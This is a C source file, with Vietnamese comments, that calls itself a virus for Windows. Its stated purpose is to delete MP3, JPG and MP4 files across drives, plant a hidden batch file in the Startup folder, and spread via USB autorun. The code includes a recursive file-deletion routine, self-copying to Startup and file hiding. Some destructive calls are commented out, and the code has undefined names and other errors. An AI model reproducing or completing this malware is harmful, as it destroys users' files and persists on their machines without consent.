/*
- Chuc nang cua virut
	+ Xoa het cac file theo dinh dang duoc dinh san trong chuong trinh tren cac o dia tru o C:\
	+ Tao file *.bat o trong thu muc Startup. Khi khoi dong windows file *.bat se tu chay va mo trinh duyet vao "www.google.com"
- Cach lay lan (lay lan qua USB)
	+ Tao file Autorun.inf, moi khi cam USB vao may tinh se tu dong chay file "virut.exe"
*/
#include <stdio.h>
#include <dirent.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>

const char MP3[] = ".mp3";
const char JPG[] = ".jpg";
const char MP4[] = ".mp4";
const char STARTUP[] = "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup";
char disk[] = "";

void delFile(char *file, char *link);
void backLink(char *link);
void delListFile(char *path, char *hardDisk);
void creatFBatOpenIE();
void hardDisk(char *disk);
void userName(char *userName);
void hidenFile(char *path);
void copyFile(char *root, const char *desFolder);

void main() {
	char temp[255], pathFileInUSB[255], rootDisk[10];
	int i = 0;
	hardDisk(disk);
	for( ; i < strlen(disk); i++) {
		strcpy(temp, " ");
		temp[0] = disk[i];
		strcat(temp, ":\\");
		if(checkExistFileInFol("Virut.exe", temp)) {
			strcpy(pathFileInUSB, temp);
			strcat(pathFileInUSB, "Virut.exe");
			break;
		}
	}
	//=> NGUY HIEM!!!!!!!!!!!!!!!!!
	 //if(!checkExistFileInFol("Virut.exe", STARTUP)) {
//		copyFile(pathFileInUSB, STARTUP);
		creatFBatOpenIE();
//	} else {
//		for(i = 0; i < strlen(disk); i++) {
//			if(hdUSB[0] != disk[i]) {
//				temp[0] = disk[i];
//				strcat(temp, ":\\");
//				strcpy(rootDisk, temp);
////				delListFile(temp, rootDisk);
//			}
//		}
//	}
}

//=> Xoa file neu dung dinh dang
void delFile(char *file, char *link) {
	char temp[300];
	strcpy(temp, "del ");
	strcat(temp, link);
	strcat(temp, file);
	if(checkFormatFile(file)) {
		system(temp);
	}
}

//=> Kiem tra dinh dang cua file
int checkFormatFile(char *file) {
	if(strstr(file, MP3) != NULL || strstr(file, JPG) != NULL || strstr(file, MP4) != NULL) {
		return 1;
	} 
	return 0;
}

//=>...
void backLink(char *link) {
	int i = strlen(link) - 2;
	while(link[i] != '\\') {
		link[i] = '\0';
		i--;
	}
	link[i] = '\0';
}

//=> Xoa File trong Folder
void delListFile(char *path, char *hardDisk) {
	int i = 1;
	char temp[300];
    DIR *pdir = NULL;
    pdir = opendir(path);
    struct dirent *folder = NULL;
	while(folder = readdir(pdir)) {
	  	if(strcmp(folder->d_name, ".") && strcmp(folder->d_name, "..")) {
		  	strcpy(temp, path);
		  	strcat(temp, folder->d_name);	
		  	if(checkExistFolder(temp) == 1) {
				strcpy(path, temp);
				delListFile(path, hardDisk);
			} 
			if(checkExistFolder(temp) == 2) {
				delFile(temp, "");
				if(strcmp(path, hardDisk)) {//=> Kiem tra neu Link giong ban dau thi ngung back Link
					backLink(path);
				}
			} 
		}
	}	
}

//=> Kiem tra su ton tai Folder
int checkExistFolder(char *path) {
	char temp[255] = "";
	int i = 0, flag;
	DIR *pdir = NULL;
    pdir = opendir(path);
    struct dirent *folder = NULL;
    if(pdir == NULL) {
    	flag = 2;
    } else {
    	while(folder = readdir(pdir)) {
			i++;
			strcat(temp, folder->d_name);
			if(i == 3) {
				break;
			}
		}
		closedir(pdir);
		if(strcmp(temp, "...")) {
			flag = 1;
		}else {
			flag = 0;
		}
    }
	return flag;
}

//=> Lay ra UserName 
void userName(char *userName) {
	char disk[255] = "";
	FILE *f;
	//=> Lay UserName cua may ghi len file "Users.txt"
	strcpy(userName, "echo %username% > ");
	userName[strlen(userName)] = disk[0];
	strcat(userName, ":\\Users.txt");
	system(userName);
	//=> Doc File "Users.txt" de lay UserName
	strcpy(userName, " ");
	userName[0] = disk[0];
	strcat(userName, ":\\Users.txt");
	f = fopen(userName, "r");
	fscanf(f, "%s", userName);
	fclose(f);
} 

//=> Xac dinh ten Hard Disk
/* Doc tung ten o dia neu mo duoc thi ghi len 1 xau*/
void hardDisk(char *disk) {
	DIR *pdir = NULL;
	char temp[255] = " ", c;
	int i = 68;
	for( ; i <= 90; i++) {
		strcpy(temp, " ");
		c = i;
		temp[0] = c;
		strcat(temp, ":\\");
		pdir = opendir(temp);
		if(pdir != NULL) {
			disk[strlen(disk)] = c;
		}
	closedir(pdir);
	}
}

//=> Kiem tra su ton tai cua file trong Folder
int checkExistFileInFol(char *nameOfFile, char *pathFolder) {
	DIR *pdir = NULL;
	pdir = opendir(pathFolder);
	struct dirent *folder = NULL;
	if(pdir == NULL) {
		return 0;
	}
	while(folder = readdir(pdir)) {
		if(!strcmp(nameOfFile, folder->d_name)) {
			closedir(pdir);
			return 1;
		}
	}
	closedir(pdir);
	return 0;
}

//=> Copy file
void copyFile(char *root, const char *desFolder) {
	char command[255];
	strcpy(command, "COPY ");
	strcat(command, root);
	strcat(command, " \"");
	strcat(command, desFolder);
	strcat(command, "\"");
	printf("%s", command);
	system(command);
}

//=> Mo "google.com"
/* Tao file bat de mo trinh duyet vao "google.com" */
void creatFBatOpenIE() {
	char file[255];
	FILE *f;
	strcpy(file, STARTUP);
	strcat(file, "\\Text.bat");
	f = fopen(file, "w");
	fprintf(f, "ECHO OFF\n");
	fprintf(f, "cd C:\\Program Files\\Internet Explorer\n");
	fprintf(f, "iexplore \"www.google.com\"\n");
	fprintf(f, "attrib +h \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Text.bat\"\n");
	fprintf(f, "attrib +h \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Virut.exe\"\n");
	fprintf(f, ":exit");
	fclose(f);
}
	
